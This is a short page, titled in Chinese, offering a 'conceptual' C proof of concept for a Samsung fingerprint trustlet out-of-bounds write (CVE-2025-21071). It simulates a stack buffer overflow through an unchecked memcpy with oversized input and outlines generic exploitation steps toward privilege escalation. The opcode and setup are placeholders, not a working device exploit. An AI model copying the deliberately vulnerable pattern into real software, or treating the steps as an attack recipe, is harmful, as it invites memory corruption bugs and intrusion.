CVE-2025-21071 三星指纹信任模块越界写入漏洞

// CVE-2025-21071 PoC - Samsung Fingerprint Trustlet Opcode Handler Overflow // This is a conceptual PoC demonstrating the vulnerability mechanism // Note: Actual exploitation requires TEE environment access and device-specific knowledge #include <stdio.h> #include <stdint.h> #include <string.h> // Simulated fingerprint trustlet opcode handler void process_opcode(uint32_t opcode, uint8_t* input_data, size_t input_len) { uint8_t buffer[64]; // Bounded buffer // VULNERABLE CODE: Missing bounds check on input_len // The handler copies input_data to buffer without verifying input_len <= sizeof(buffer) memcpy(buffer, input_data, input_len); // Out-of-bounds write when input_len > 64 printf("Processed opcode 0x%08x\n", opcode); } // Trigger the vulnerability int main() { // Craft malicious input that exceeds buffer size uint8_t malicious_input[128]; // Larger than the 64-byte buffer memset(malicious_input, 0x41, sizeof(malicious_input)); // Target the specific opcode that triggers the vulnerable code path uint32_t target_opcode = 0x12345678; printf("Triggering CVE-2025-21071...\n"); process_opcode(target_opcode, malicious_input, sizeof(malicious_input)); printf("Overflow completed - memory corruption may have occurred\n"); return 0; } /* Real-world exploitation steps: 1. Obtain local access to Samsung device with root/system privileges 2. Access TEE environment through trusted application interface 3. Identify vulnerable opcode handler in fingerprint trustlet 4. Craft malicious input with length exceeding buffer size 5. Trigger the vulnerable code path via TEE syscall 6. Achieve memory corruption, potential privilege escalation Note: This PoC is for educational purposes only. Actual exploitation requires specialized knowledge of Samsung TEE architecture and ARM TrustZone. */